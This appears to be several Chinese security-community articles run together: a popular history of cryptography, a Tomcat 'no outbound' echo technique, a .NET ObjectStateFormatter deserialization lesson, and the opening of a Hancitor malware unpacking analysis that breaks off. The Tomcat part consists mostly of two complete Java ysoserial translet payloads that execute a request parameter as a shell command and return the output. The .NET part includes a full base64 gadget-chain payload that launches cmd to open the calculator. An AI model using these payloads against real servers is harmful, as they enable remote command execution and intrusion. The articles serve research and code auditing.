### **密码学发展史**
**密码，本质就是信息的非标准编码。**
密码几乎和人类文明一样悠久。宫闱大内的隐秘符号、江湖帮派的黑话切口、古书上的不明索引、耳机里的奇怪电波……无不是为了满足人类隐秘通信的需要。
#### 1\. 古代密码术
古代密码术，由于人类文明还没有发展到数字化时代，所以加密通常不掺杂复杂的数学运算，相对来说，加密还处于比较朴素的时代。
古代密码术通常使用两类方案进行加密：
* 符号替换法
* 顺序改变法
如先秦兵书《太公兵法》就有记载使用「阴符」进行军队通信，就是通过特定长度的「符」来表示不同的信息，属于符号替换法。
大胜克敌之符，长一尺；
破军擒将之符，长九寸；
降城得邑之符，长八寸；
却敌报远之符，长七寸；
警众坚守之符，长六寸；
请粮益兵之符，长五寸；
败军亡将之符，长四寸；
失利亡士之符，长三寸。
同样在公元前，古希腊时期，斯巴达军队捕获了一名从波斯帝国回雅典送信的雅典信使。可搜查了好大一阵，除了从他身上搜出一条布满杂乱无章的希腊字母的普通腰带外，别无他获。斯巴达军队统帅莱桑德百思不得其解，直到有一天，无意中把腰带缠绕到剑鞘上，杂乱的字母竟组成了一段文字，因此获得了情报取得了战争的胜利。
这就属于加密方案中的顺序改变法。
#### 2\. 近代战争时期
经过近年来谍战片的熏陶，密码学这个词，在大众的认知里，往往和「战争」和「情报」等关键词联系在一起。相关从业人群的桌面大概是这个画风。
（电报发报机）
事实也确实如此，尤其是在20世纪的两次世界大战中。由于无线电和摩尔斯电码的问世，密码学也迎来了空前的繁荣。数学开始深刻地参与到密码学，也逐渐发展出了现代密码学。
「加密」与「破译」成为信息保密传输与情报获取的激烈对抗领域，双方斗智斗勇。其中，最著名的就是一战时期，英国成功破解德国「齐默尔曼电报」，使美国放弃中立地位而对德宣战，最终以英国为首的协约国赢得了战争胜利。
二战时期，纳粹德国启用了著名的「恩尼格玛」密码机，一时，盟军完全无法破解出德国的情报。直到密码学家组合「波兰三杰」及图灵为破解恩尼格玛作出巨大贡献，为盟军破解了大量德军的情报。
（恩尼格玛密码机）
从设备可以看出，这个阶段，密码学已经进入机械化阶段。
#### 3\. 计算机时代
进入计算机时代，终于迎来了密码学的黄金时期。同时，诞生了一些极重要的理论，例如后面会重点介绍的消息摘要、非对称加密。这些算法需要较强的计算能力支持，在没有计算机的时代难以应用。同时，也正是这些密码学理论奠定了互联网的底层安全特性。
（电影《黑客帝国》剧照）
### **密码学研究什么**
说到密码学，普通人想到的多是前面提到的摩尔斯电码、移位加密、字符替换之类。在一些小说里，「字母e在英文里出现频率最高」这种基本的破解方法很多人也都耳熟能详。
但真正说到密码学研究什么，大家其实都比较陌生。密码学关注的事情主要有两点：
* **加密解密的数学算法本身**
* **如何在现有算法基础上实现各种安全需求**
这两点的差别是什么呢，以防止「消息泄漏」举例，我们首先想到的防止消息传输过程被第三方截获，比如说话被偷听、邮件被偷看、网络数据被截获。而事实上，小偷是防不住的，但我们可以保证数据被偷到了也没有用，只需要双方事先约定一套加密解密的方法，以密文的方式传输信息，就可以很好地防止信息泄漏。
但有时候「消息泄露」的内涵要更复杂，加密算法的方案并不适用。
考虑这样一个情形：公司某小组有8个员工，他们想知道组内平均月薪是多少，但是大家都不愿意透露自己的月薪数额，公司制度也不允许讨论薪水。有什么办法可以得出答案又不泄漏薪水数额？
其实办法很简单，甚至不需要用到密码学知识：
1. 大家坐成一圈，A 随便想一个大数，比如123456，然后他在纸上写下自己月薪和这个数字之和，传给 B；
2. B 再在这个数字上加上自己的月薪写到另一张纸上传给 C；
3. 直到最后一个人把纸条传回 A，A 把最终结果减去只有自己知道的123456，就得到了所有人的月薪总和。
就这样，没有人泄漏敏感信息又得到了需要的结果，还没有违反公司制度！
以上两种情况分别对应了密码学的两个研究方向，可以看到，密码学不仅研究加密解密的数学算法。更多的时候，密码学研究保护信息安全的策略，我们称之为「协议」。
### **密码学三板斧**
《一代宗师》中，叶问靠咏春三板斧「摊、膀、伏」闯关金楼。
（电影《一代宗师》剧照）
在密码学中也有类似的三板斧，对于科普读者来说，无论是希望理解 HTTPS、暗网，还是比特币等密码学应用，其实只需要理解三个概念：
* 单向散列（Hash）
* 对称加密
* 非对称加密
下面逐一解释：
#### 1\. 硬币扔出的 Hash
现在设想这样一个场景：周末公司有临时事务要加班，Alice 和 Bob 商量谁去处理，但大家都不想去。于是 Bob
想了一个办法，说：「我扔一个硬币，你猜是正面还是反面？如果猜对了，我就去加班。如果猜错了，嘿嘿……」。
如果 Alice 和 Bob
此时是面对面在一起，那么这个策略可以说相当公平，甚至可以用更简单的办法做到，两人玩一盘石头剪子布就好了。可是如果他们是通过网络聊天在商量呢，那 Alice
显然不会同意这个办法，因为她担心自己无论猜正面还是反面，Bob 都会说她错了。
有没有办法在网络聊天也能做到公平扔硬币呢，有人会说，那我们给扔硬币的结果加个密吧。现在假设任意奇数都代表硬币的正面，任意偶数都代表硬币的反面。Bob随便想一个数，然后乘以另外一个数，把结果先告诉
Alice，比如1234 * 531 = 622254，Bob想的是1234，然后把622254告诉
Alice，并声称另一个秘密数531是密钥，由他自己保管。这样显然也不行，因为验证结果的时候，Bob 可以谎报说1234才是密钥，531是结果，这样 Bob
依然立于不败之地。但是如果 Bob 事先把密钥公布出来呢？这样也不行，因为 Alice 知道密钥后就能直接计算出原文了，便失去了保密作用。
传统的加密方法不能公开的原因是，知道了加密方法也就知道了解密方法，只需要反过来计算就好了。那么，有没有一种加密方法，使得即使知道了加密方法，也不能恢复出原文呢？有的，只需要在加密过程中加入一些不可逆运算就行了。这次
Bob 又设计了一种方案：
1. Bob 先想一个数，并加上123456。
2. 把结果平方，取第3至第10位，组成一个8位数。
3. 再用这个数除以456789求余数，把这个结果告诉 Alice。
4. Alice 猜测 Bob 想的是奇数还是偶数。
5. Bob 告诉 Alice 原始值，Alice 验算确认。
假设Bob想的依然是1234，按照上面的过程依次得到：
1. 1234 + 123456 = 124690
2. 124690 * 124690 = 15547596100
3. 54759610 mod 456789 = 401719
Alice 拿到的结果是401719，既可以验证 Bob 有没有撒谎，同时 Alice 又很难根据401719算回1234。
但这样也不能100%保证 Bob 不作弊，如果Bob想作弊，他就必须事先找到一奇一偶两个数，按照上面的运算能得到一样的结果。这个难度取决于上面算法的难度。
在密码学中把这种会丢掉一部分信息的加密叫做「单向加密」，也叫做哈希（Hash）算法。 一个可靠的哈希算法至少需要满足下面几个条件：
1. 对于给定的数据 M，很容易算出哈希值 X = F(M)。
2. 根据 X，很难算出 M。
3. 很难找到 M 和 N，令 F(M) = F(N)。
真实世界的哈希算法比上面的过程要复杂得多，但原理是类似的。而且即使对于很长一段数据，仅仅改变一个字母，也会造成2次哈希结果的巨大差异。被认为安全且在互联网中被广泛使用的哈希算法包括
MD5、SHA-1、SHA-256 、国密 SM3 等。比如「1234」使用 MD5
算法计算的结果是「81DC9BDB52D04DC20036DBD8313ED055」。
这种单向加密算法，并不能用来进行普通的信息传输，更多的是用来进行数据的完整性验证。
#### 2\. 历久弥新的对称加密
对称加密就是大众心里认为的那种加密，使用密码 A 加密，同样使用密码 A 解密。这其实是最符合直觉的一件事情。
* 比如我向左移动了3米，要回到原点，那么就再向右移动3米就好了。
* 比如做了个乘法，要还原数字，就做一次同样的除法就好。
传统的密码学其实使用的都是对称加密，无论是移位、变换、混淆、扩散，本质上都可以通过逆运算恢复原始信息。
所以，这块不详细解说，只需要知道这叫做 **对称加密** 就好。常用的对称加密算法有 DES、3DES、AES、国密
SM4，算法细节本文不细聊。对称加密具有优秀的性能和安全性，关键就在于如何商定密钥，此时就需要下面的非对称加密了。
#### 3\. 数学魔术和非对称加密
来看真正要进行秘密信息传输的情况。
假设 Alice 和 Bob 要通过互联网进行一份绝密情报的传输，如何阻止第三方在网络上截获信息？
如果用对称加密的思路，可能的步骤是使用压缩工具对文件进行加密压缩，然后通过 Email
把加密过的文件发过去，为了更安全或许还会另外通过发短信或者打电话把解压密码告诉对方。但是作为绝密情报传输，面对国家机器的力量，上面的过程依然可能泄密。如果想办法把密码加密后再发过去，但是给密码加密的方式又该如何确定呢？如果
Alice 和 Bob 事先认识，或许可以见面约定一个生日加上手机号作为密码，但更多的情形下，双方并没有可以利用的公共秘密。
对称加密世界里这是个看似死循环的无解问题。这里我们有2种思路来尝试解决：
* 设计一个秘密的加密算法，即使对方拿到密码也没有办法解密。
* 设计一种神奇的加密系统，可以让加密和解密用不同的密码。这样 Bob 可以大大方方的把加密密钥告诉 Alice，Alice 加密完发给 Bob 就行了，完全不怕监听。
秘密算法显然是不考虑的，密码学有一个公认的原则—— **加密的安全性永远不能建立在算法的保密上** 。
回到我们设想的神奇加密算法上，似乎这是一个完美的方案，但是这样的技术存在吗？听上去似乎并不可能，直觉上知道了加密方法一定就知道解密方法了，只需要反过来计算就可以了。加密方法和解密方法是否可能不对称？
话都说到这份上了，当然是 **必须可能！** 其实这门技术在小学就学过。
来看一个小时候《趣味数学》这类书里的数学小魔术：
让对方任意想一个3位数，并把这个数和91相乘，然后告诉我积的最后三位数，我就可以猜出对方想的是什么数字！
* 比如 A 想的是123，计算出123 * 91 = 11193，并把结果的末三位193告诉我。
* 我只需要把193乘以11，乘积的末三位就是对方刚开始想的数了。可以验证一下，193 * 11 = 2123。
其实原理很简单，91乘以11等于1001，而任何一个三位数乘以1001后，末三位显然都不变（例如123乘以1001就等于123123）。
知道原理后，我们可以构造一个定义域和值域更大的加密解密系统。
* 任意一个数乘以400000001后，末8位都不变，而400000001 = 19801 * 20201，于是你来乘以19801，我来乘以20201，又一个加密解密不对称的系统就构造好了。
* 甚至可以构造得更大一些：4000000000000000000000000000001 = 1199481995446957 * 3334772856269093，这样我们就成功构造了一个30位的加密系统。
这是一件非常 cooooooool
的事情，任何人都可以按照我公布的方法加密一个数，但是只有我才知道怎么把所得的密文变回去。其安全性就建立在算乘积非常容易，但是要把4000000000000000000000000000001分解成后面两个数相乘，在没有计算机的时代几乎不可能成功！
但如果仅仅按照上面的思路，如果对方知道原理，非常很容易穷举出400000001这个目标值。要解决这个问题，真实世界就不是使用乘法了，比如 RSA
算法使用的是指数和取模运算，但本质上就是上面这套思想。
在非对称加密的基础上，就能衍生出数字证书、数字签名、HTTPS 等等互联网底层安全机制。常见的非对称加密算法有 RSA、ECC 、国密 SM2 等。
### **真实世界**
在真实场景中，会将三板斧组合使用来构造协议，比如「Hash +
对称加密」可以组合成「消息认证码（MAC）」机制；而非对称加密反向使用，用私钥加密信息向外发布，所有人可用公钥解密，则可以起到「数字签名」的效果。
回到前面设想的场景，Alice 和 Bob 进行绝密通信时，应该如何构造协议呢？大概会是这样：
1. Bob 生成一对非对称密钥，分别为公钥 A 和私钥 B，A/B 互相可解密对方加密的数据。
2. Bob 将公钥 A 告诉 Alice。
3. Alice 生成一个对称密钥 C，并加密情报得到密文 D（性能原因，一般不用非对称算法加密大段信息）。
4. Alice 用公钥 A 加密 C 得到密文 E，并计算情报的 Hash 值 F。
5. Alice 将 D、E、F 全部发给 Bob。
6. Bob 使用私钥 B 解密 E 得到密钥 C，并用 C 解密密文 D，再计算解密结果的 Hash 是否等于 F。
当然上面还有一些问题要解决，比如如何保证 Bob 告诉 Alice 的公钥 A
没有在传输过程中被篡改。可见，在拥有安全算法之后，密码学的协议研究也是至关重要的。
### **写在最后**
从密码学退回符号学领域，其实符号的应用远超人们的注意，除了文字本身也是符号外，更广义的符号如：从 QQ
表情到电路图，从十字架到八卦图，从比心动作到金字塔造型，从乐谱到天干地支，从表情包大战到道士抓鬼画「符」……人类发明了太多符号用来传递信息。
很多学问的本质其实就是从符号还原出原始信息，比如把乐谱演奏成音乐、读诗歌和作者共鸣、禅宗的拈花微笑、斗图时的会心一击，无不充满意趣。《庄子·知北游》言：「天地有大美而不言」，此等无法描绘无法言说之信息，却让人有醍醐灌顶般的美妙，大概就是通信的巅峰了。
密码学其实只是广义通信的一个极小分支，并且里面还有太多基础数学、算法、协议场景，需要进行专门的学习。本篇只讲这么多，只要理解了密码学三板斧，就有更多应用就等着我们研究了，下期请关注密码学界近年的当红辣子鸡——比特币。
**腾讯安全云鼎实验室**
关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息，帮助客户抵御高级可持续攻击；联合腾讯所有安全实验室进行安全漏洞的研究，确保云计算平台整体的安全性。相关能力通过腾讯云开放出来，为用户提供黑客入侵检测和漏洞风险预警等服务，帮助企业解决服务器安全问题。
* * * | 社区文章 |
# tomcat不出网回显连续剧第六集
## 前情提要
这周回顾了一下我所看到的前人关于tomcat回显和无文件webshell的文章。发现各个师傅的方法各有优劣，下面简单总结一下（总结不对的地方还请各位师傅指出）。
* [基于内存 Webshell 的无文件攻击技术研究](https://www.anquanke.com/post/id/198886)，观星大哥的文章，通杀spring，能解决实战只能够遇到的大部分情况了。
* [Tomcat中一种半通用回显方法](https://xz.aliyun.com/t/7348)，这篇文章讲了通过反射修改ApplicationFilterChain参数来让tomcat再下一次请求的时候在线程中缓存req和resp，不足之处在于shiro无法回显。
* [基于tomcat的内存 Webshell 无文件攻击技术](https://xz.aliyun.com/t/7388)，通过上一篇的方法获取到req进一步获取context，然后动态注册filter，不足之处在于使用的是上一篇的获取req的思路所以也无法shiro回显。
* [基于全局储存的新思路 | Tomcat的一种通用回显方法研究](https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3)，这篇文章通过currentThread.getContextClassLoader()获取StandardContext，进一步获取到response，解决了shiro回显的问题，不足在于tomcat7中无法获取到StandardContext。
* [基于Tomcat无文件Webshell研究](https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA)，总结上面文章的方法，不足之处在于无法解决tomcat7+shiro的问题。
所以这里提出一种新的回显方案解决一下tomcat7+shiro这个阴暗的角落（经测试tomcat8仍然适用）。
测试环境：macos+tomcat7,8+shiro-simple-web
## 再看register
在上面提到的第四篇文章中提到包含有request（有了request就有response）的rp会被储存在global中，但其实再往下看会发现rp被注册进了组件。
既然注册进去了肯定存放在哪里的，接下来动静结合调代码找就好了，代码跟踪过于冗长而且我也没细细探究每一步的意义，就不装模作样的分析了，这里直接给结论。
通过idea的计算功能我们可以符合直觉的拿到response，实际想获取还是需要各种反射的。tomcat7,8获取这条链的方式大同小异，变化之处在于`name="http-bio-8888",type=GlobalRequestProcessor`，其中8888是tomcat服务端端口，在tomcat8里面bio变为nio。关于[bio，nio的细节可以参考这篇文章](https://blog.csdn.net/ClementAD/article/details/47045673)。
除此之外在实际场景下会有很多requests是要遍历processors中的各个requests。
## demo代码
tomcat8的demo
package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.Request;
import org.apache.tomcat.util.buf.ByteChunk;
import org.apache.tomcat.util.modeler.Registry;
import javax.management.MBeanServer;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Scanner;
public class tomcat82 extends AbstractTranslet {
public tomcat82() {
try{
MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap obj2 = (HashMap)field.get(obj);
obj = ((HashMap)obj2.get("Catalina")).get("name=\"http-nio-8888\",type=GlobalRequestProcessor");
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
field.setAccessible(true);
ArrayList obj3 = (ArrayList)field.get(obj);
field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
field.setAccessible(true);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
for (int i = 0; i < obj3.size(); i++) {
Request obj4 = (Request) field.get(obj3.get(i));
String username = obj4.getParameters().getParameter("username");
if(username != null){
String[] cmds = isLinux ? new String[]{"sh", "-c", username} : new String[]{"cmd.exe", "/c", username};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = "";
while (s.hasNext()){
output += s.next();
}
byte[] buf = output.getBytes();
ByteChunk bc = new ByteChunk();
bc.setBytes(buf, 0, buf.length);
obj4.getResponse().doWrite(bc);
break;
}
}
} catch (Exception e){
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
tomcat7的demo
package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.Request;
import org.apache.tomcat.util.buf.ByteChunk;
import org.apache.tomcat.util.modeler.Registry;
import javax.management.MBeanServer;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Scanner;
public class tomcat72 extends AbstractTranslet {
public tomcat72(){
try{
MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap obj2 = (HashMap)field.get(obj);
obj = ((HashMap)obj2.get("Catalina")).get("name=\"http-bio-8888\",type=GlobalRequestProcessor");
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
field.setAccessible(true);
ArrayList obj3 = (ArrayList)field.get(obj);
field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
field.setAccessible(true);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
for (int i = 0; i < obj3.size(); i++) {
Request obj4 = (Request) field.get(obj3.get(i));
String username = obj4.getParameters().getParameter("username");
if(username != null){
String[] cmds = isLinux ? new String[]{"sh", "-c", username} : new String[]{"cmd.exe", "/c", username};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = "";
while (s.hasNext()){
output += s.next();
}
byte[] buf = output.getBytes();
ByteChunk bc = new ByteChunk();
bc.setBytes(buf, 0, buf.length);
obj4.getResponse().doWrite(bc);
break;
}
}
} catch (Exception e) {
// System.out.println("=======================");
// System.out.println(e);
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
另外如果有师傅在复现的时候发现header超长，可以参考[缩小ysoserial
payload体积的几个方法](https://xz.aliyun.com/t/6227)。（也可以参考长亭师傅给的修改header头的思路，实际走的时候也许会遇到一些坑）
tomcat7+simple-shiro-web成功复现
## 最后
感谢大师傅们开源的自己的思路，学到很多。其次在研究这种方法的时候发现还有其他很多MBean，也许还有很多好玩的东西？ | 社区文章 |
# .NET高级代码审计（第十课） ObjectStateFormatter反序列化漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Ivan1ee@360云影实验室
## 0x00 前言
ObjectStateFormatter一般用于序列化和反序列化状态对象图，如常用的ViewState就是通过这个类做序列化的，位于命名空间
System.Web.UI，优点在于对基础类型存储在pair、Hashtable等数据结构里的时候序列化速度很快。但是使用反序列化不受信任的二进制文件会导致反序列化漏洞从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。
0x01 ObjectStateFormatter序列化
下面通过使用ObjectStateFormatter类序列化一个实例来说明问题，首先定义TestClass对象
定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
同BinaryFormatter一样，常规下使用Serialize得到序列化后的二进制文件内容
## 0x02 ObjectStateFormatter反序列化
### 2.1、反序列化用法
反序列过程是将二进制数据转换为对象，通过创建一个新对象的方式调用Deserialize方法实现的
，查看ObjectStateFormatter格式化器定义一样实现了IFormatter接口
笔者通过创建新对象的方式调用Deserialize方法实现的具体实现代码可参考以下
反序列化后得到TestClass类的成员Name的值。
### 2.2、攻击向量—ActivitySurrogateSelector
由于上一篇中已经介绍了漏洞的原理，所以本篇就不再冗余的叙述，没有看的朋友请参考《.NET高级代码审计（第八课）
SoapFormatter反序列化漏洞》，不同之处是用了ObjectStateFormatter类序列化数据，同样也是通过重写ISerializationSurrogate
调用自定义代码，笔者这里依旧用计算器做演示，生成的二进制文件打开后如下图
按照惯例用ObjectStateFormatter类的Deserialize方法反序列化
最后反序列化成功后弹出计算器，但同样也抛出了异常，这在WEB服务情况下会返回500错误。
### 2.3、攻击向量—PSObject
由于笔者的windows主机打过了CVE-2017-8565（Windows
PowerShell远程代码执行漏洞）的补丁，利用不成功，所以在这里不做深入探讨，有兴趣的朋友可以自行研究。有关于补丁的详细信息参考：
<https://support.microsoft.com/zh-cn/help/4025872/windows-powershell-remote-code-execution-vulnerability>
## 0x03 代码审计视角
### 3.1、Deserialize
从代码审计的角度找到漏洞的EntryPoint，Deserialize有两个重载分别可反序列化Stream和字符串数据，其中字符串可以是原始的Raw也可以是文档中说的Base64字符串，两者在实际的反序列化都可以成功。
下面是不安全的代码：
攻击者只需要控制传入字符串参数path便可轻松实现反序列化漏洞攻击。
也可以使用下面的这段不安全代码触发漏洞：
请求Base64的Poc可成功触发弹出计算器
/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA%2BU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
最后附上动图效果图
## 0x04 总结
实际开发中ObjectStateFormatter通常用在处理ViewState状态视图，虽说用的频率并不高，但一旦未注意到数据反序列化安全处理，就会产生反序列化漏洞。最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，欢迎大伙持续关注，交流，更多的.NET安全和技巧可关注实验室公众号。 | 社区文章 |
# hancitor unpack Part2
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## intro
这是hancitor装载器的第二部分内容，对于恶意代码装载器来说，总是有着千变万化的方法去实现恶意代码，我仅学习这些代码并期望能在之后为此做出贡献 ！
MD5 (Hancitor – Packed): 7e9ba57db08f53b56715b0a8121bd839
MD5 (Hancitor – Unpacked): a68de37bf71d2e5f5c9ab6c84f2fd695
### 样本分析
首先是导出函数，该样本除DllEntryPoint有8个导出函数，都是常见的单词，一般用于减慢分析样本的速度。
对于分析这种样本的脱壳和有趣的部分，我们的分析流程如下：
首先f9 运行到entry point
